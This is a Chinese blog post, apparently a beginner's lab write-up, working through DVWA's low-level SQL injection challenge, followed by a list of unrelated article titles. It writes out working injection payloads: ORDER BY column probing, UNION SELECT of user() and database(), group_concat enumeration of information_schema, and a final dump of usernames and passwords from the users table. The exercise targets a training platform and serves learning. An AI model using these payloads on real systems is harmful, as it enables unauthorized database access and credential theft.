DVWA——简单SQL注入小记

前不久刚开始接触SQL注入,今天来记录一些最近的一些收获和一些SQL注入方面的知识。

主要是基于DVWA这个开源的平台来进行练习。

废话不多说开始解题。

从简单的SQL injection入手

Level:low

登陆后选择SQL injection

一开始看到一个普通的界面,输入ID进行查询。我们可以先进行简单的测试。

输入 1 and 1=1 和 1 or 1=1 发现搜索的结果是一样的。

于是我们猜测判断类型可能是字符串(后通过源码可查看到,事实也正如此)

输入 1' and '1'='1 和 1' or '1'='1 发现结果不同

后者可输出当前表中的所有记录

接下来我们判断该表中具有几列,一般用order by 来判断

我们尝试 1' order by 5# 1' order by 4#...  最终在order by 2 时才为真,那么可判断该表只有两列

一般来说Level:low 不会过滤很多关键字或者说没有过滤关键字,所以我们直接用1' union select 1,2# 来看是否能联合查询

发现能成功进行联合查询,那么我们将1和2改为user()和database(),1' union select user(),database()#,即可获取该数据库的用户名和数据库名字。

我们能成功得到数据库的名字是dvwa,以及当前登陆的用户是root

然后我们要想办法获取dvwa中的表名,用1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#来获取由表名组成的长字段

该查询语句中,因为每条记录需输出两个字段,所以我们前面用select 1 来占用一个字段,后面用group_concat 函数将所有表名合成长字段后输出。

然后我们查看 information_schema.tables这个表,可以看到他里面包含了table_name列用来存放所有的表名,和table_schema列来存放所有表对应的数据库名字。

最后查到的结果为

我们可以得到dvwa数据库中包含了guestbook表和users表。而这个平台希望我们获取的是数据库里面所有的用户名和密码,那我们想办法查看users表就可以了。

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

与上一句不同的是,group_concat合并是的column_name,搜索的表是information_schema.columns ,判断的条件是table_name=xxx

于是我们就得到了users表中的所有列名,不难得知每个列名的意思,所以接下来我们只要查看user和password即可

1' union select user,password from users#

即得到所有的用户名称和密码。

第一篇暂时先到这,因为如果太长估计也没心思看。

通过这个简单的实验,我们可以掌握一些基本的sql注入语句。

像order by 查列数 ,union select 联合查询,group_concat(column_name)函数将字段合并,以及information_schema.tables 和 information_schema.columns 两张表包含了所有的表名和列名, 还有最简单的database() 和user()。

熟练sql语句对sql注入有很大的帮助。

最新文章

  1. Vue脚手架工具vue-cli和调试组件vue-devtools
  2. Noip2016提高组 组合数问题problem
  3. HTML DOM 实例-Document 对象
  4. "回复 集赞" 抢 《Apple Watch 苹果开发教程》活动开始了!!!
  5. Git 忽略一些文件不加入版本控制
  6. FastJson的基本用法----转
  7. C语言练习代码
  8. c++大数模版
  9. Java开发中的23+2种设计模式学习个人笔记(未完待续)
  10. flask学习之路
  11. VMware下CentOS7设置网络以及修改系统语言
  12. ios中UIWebview中加载本地文件
  13. Java EE之JSTL(下)
  14. HDU 4238 You Are the One
  15. JavaScript学习笔记(二)——函数和数组
  16. 根据wsdl文件生成java代码
  17. nginx常用配置2
  18. C#中利用WebBrowser控件,获得HTML源码
  19. codeforces 705B:Spider Man
  20. JavaSE总结--异常

热门文章

  1. java中 label 配合 break continue 使用方法
  2. 阶段5 3.微服务项目【学成在线】_day02 CMS前端开发_10-webpack研究-安装nodejs
  3. [Graphics] UIColor created with component values far outside the expected range, Set a breakpoint on UIColorBreakForOutOfRangeColorComponents to debug. This message will only be logged once.
  4. CockroachDB学习笔记——[译]Hello World
  5. python如何发布自已pip项目
  6. 初识MyBatis之HelloWorld
  7. 合并多个tensorflow模型的办法
  8. Intellij IDEA 激活到2100年教程
  9. spring boot工程如何启用 热启动功能
  10. 数字麦克风PDM信号采集与STM32 I2S接口应用--笔记目录